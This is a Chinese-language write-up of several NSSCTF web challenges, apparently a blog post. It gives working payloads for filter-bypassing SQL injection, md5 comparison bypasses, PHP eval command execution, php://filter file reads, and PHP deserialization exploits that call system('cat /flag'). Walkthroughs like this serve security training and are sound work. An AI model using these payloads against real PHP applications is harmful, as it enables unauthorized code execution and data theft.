ez_sql:
首先我们进入环境，会发现给了如下提示
提示让我们相对安全的方式传参，所以使用POST方式传，然后参数是nss，之后我们先试试nss=1，会返回给我们两个flag
显然这两个flag都是假的flag，但是天真的我还是去试了试。然后我们用nss=1’看看是不是字符型注入，然后给我们返回了报错信息
通过报错信息我们可以看到是单引号的字符型注入，然后我们用order by来看看有几列，会发现有报错信息
通过报错信息我们可以知道，过滤了or和去除了空格，所以我们可以使用双写和/**/来分别进行绕过，如下：
经过检验之后我们可以得知数据库有3列，然后我们通过显错注入的方式，来对数据库名进行查询，可以看到当前的库名为NSS_db
接下来我们进行爆表名和列名，注意information，里面含有or会被过滤，所以需要双写。
爆出来两个表NSS_tb，users，然后我们进去爆一下列名
会发现图中的几个列，如果显示不全的话，用mid函数截取一下即可，然后我们逐个查看，最后我们会在Secr3t发现flag。
webdog1__start：
进入环境，没有什么有用的信息，查看源码，会发现给我们的题目是传一个值，使他的md5加密后的值与他的原值相同，通过查找文档了解到0e215962017可以
payload:?web=0e215962017
传入后会跳转到一个页面
跳转到这个页面之后，能点的都点了，并没有发现提示在哪里，只有一些大佬的文章，于是我们只能使用bp进行抓包，看看有没有什么提示。
抓到包之后发现在返回包中存在hint。然后我们访问这个页面
访问之后又让我们继续去访问下一个
<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_GET['get'])){
$get=$_GET['get'];
if(!strstr($get," ")){
$get = str_ireplace("flag", " ", $get);
if (strlen($get)>18){
die("This is too long.");
}
else{
eval($get);
}
}else {
die("nonono");
}
}
?>
题目如上，是一个命令执行的题，大概意思是我们传入的值不能有空格，并且会将我们传入的字符串中的flag替换为空格，并且字符串长度不能超过18。我们构造如下payload
payload:?get=system('nl%09/f*');
where_am_i:
进入题目后会给我们一张图，并给我们提示，什么是11位？首先想到的就是手机号，结合图片，可以想到会不会是这个酒店的手机号，于是把图下载下来，然后去识图网站识图，可以知道，这个地方是成都古迹酒店，然后将手机号填入就可以了
奇妙的MD5
查看head，发现有md5绕过
查了查资料后发现可以使用万能绕过字符绕过ffifdyop，原理是函数将这个MD5加密后，会被再次转换位字符串，变成’or’6，此时函数一定为真。然后会跳转到下一个题目
显然这是一个弱类型的md5比较，我们直接使用数组绕过的方式进行绕过
payload:?x[]=1&y[]=2
ez_ez_php(revenge):
进入环境后直接显示源码如下：
<?php
error_reporting(0);
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 3) === "php" ) {
echo "Nice!!!";
include($_GET["file"]);
}
else {
echo "Hacker!!";
}
}else {
highlight_file(__FILE__);
}
//flag.php通过题目可以得知传入的值前三位必须要是php，那么我们最先想到的就是php的伪协议
?file=php://filter/read=convert.base64-encode/resource=/flag
传入之后我们可以得到一串base64的码，进行转码后就可以得到flag了
numgame:
进入环境之后只有一个小小的加法框，并没有找到什么提示，f12查看源码也看不到，于是我们用view-source:来查看源码
发现存在/js/1.js 文件，查看之后会发现一串base64代码
解码之后会得到一个新的网页，我们进入访问会得到最后一道题
<?php
error_reporting(0);
//hint: 与get相似的另一种请求协议是什么呢
include("flag.php");
class nss{
static function ctf(){
include("./hint2.php");
}
}
if(isset($_GET['p'])){
if (preg_match("/n|c/m",$_GET['p'], $matches))
die("no");
call_user_func($_GET['p']);
}else{
highlight_file(__FILE__);
}发现正则过滤了n和c，但是并没有区分大小写，所以我们可以直接大小写绕过。
传值之后，会给我们提示
payload:?p[]=Nss2&p[]=Ctf
1z_unserialize :
进入后拿到源码
<?php
class lyh{
public $url = 'NSSCTF.com';
public $lt;
public $lly;
function __destruct()
{
$a = $this->lt;
$a($this->lly);
}
}
unserialize($_POST['nss']);
highlight_file(__FILE__);
?> 构造exp
<?php
class lyh{
public $url = 'NSSCTF.com';
public $lt = 'assert';
public $lly = 'system("cat /flag");';
}
$l = new lyh;
echo serialize($l);
?> 
ez_ez_unserialize:
源码：
<?php
class X
{
public $x = __FILE__;
function __construct($x)
{
$this->x = $x;
}
function __wakeup()
{
if ($this->x !== __FILE__) {
$this->x = __FILE__;
}
}
function __destruct()
{
highlight_file($this->x);
//flag is in fllllllag.php
}
}
if (isset($_REQUEST['x'])) {
@unserialize($_REQUEST['x']);
} else {
highlight_file(__FILE__);
}根据题目分析，可以得知x需要使用php伪协议来进行读取flag文件，由此，我们可以构造EXP
<?php
class X{
public $x = 'php://filter/read=convert.base64-encode/resource=fllllllag.php';
}
$obj = new x;
echo serialize($obj);题中还有一个知识点，就是魔法函数wakeup的绕过。
最终的payload为
?x=O:1:"X":2:{s:1:"x";s:62:"php://filter/read=convert.base64-encode/resource=fllllllag.php";}
拿到之后进行base64解码就可以得到flag。
funny_php：
进入环境之后我们可以直接看到源码，如下：
<?php
session_start();
highlight_file(__FILE__);
if(isset($_GET['num'])){
if(strlen($_GET['num'])<=3&&$_GET['num']>999999999){
echo ":D";
$_SESSION['L1'] = 1;
}else{
echo ":C";
}
}
if(isset($_GET['str'])){
$str = preg_replace('/NSSCTF/',"",$_GET['str']);
if($str === "NSSCTF"){
echo "wow";
$_SESSION['L2'] = 1;
}else{
echo $str;
}
}
if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
if($_POST['md5_1']!==$_POST['md5_2']&&md5($_POST['md5_1'])==md5($_POST['md5_2'])){
echo "Nice!";
if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
if(is_string($_POST['md5_1'])&&is_string($_POST['md5_2'])){
echo "yoxi!";
$_SESSION['L3'] = 1;
}else{
echo "X(";
}
}
}else{
echo "G";
echo $_POST['md5_1']."\n".$_POST['md5_2'];
}
}
if(isset($_SESSION['L1'])&&isset($_SESSION['L2'])&&isset($_SESSION['L3'])){
include('flag.php');
echo $flag;
}
?>根据题目我们可以得知，如果最后想要拿到flag，需要将L1,L2,L3三个值都置为1，当让根据题目，想要使L1，L2，L3都为1，我们就需要解决3个问题。
第一题如下：
if(isset($_GET['num'])){
if(strlen($_GET['num'])<=3&&$_GET['num']>999999999){
echo ":D";
$_SESSION['L1'] = 1;
}else{
echo ":C";
}
}题目意思是让我们只用三个字符，来表示比999999999值大，那么我们首先想到的就是科学计数法
可以用1e9来表示。
第二道题如下：
if(isset($_GET['str'])){
$str = preg_replace('/NSSCTF/',"",$_GET['str']);
if($str === "NSSCTF"){
echo "wow";
$_SESSION['L2'] = 1;
}else{
echo $str;
}
}题目意思是会将你传入字符串中的NSSCTF替换为空，那么我们只需要使用双写来进行绕过即可。
第三道题如下：
if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
if($_POST['md5_1']!==$_POST['md5_2']&&md5($_POST['md5_1'])==md5($_POST['md5_2'])){
echo "Nice!";
if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
if(is_string($_POST['md5_1'])&&is_string($_POST['md5_2'])){
echo "yoxi!";
$_SESSION['L3'] = 1;
}else{
echo "X(";
}
}
}else{
echo "G";
echo $_POST['md5_1']."\n".$_POST['md5_2'];
}
}很明显，这是一道弱类型的MD5比较，直接传值即可。
payload：
655
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
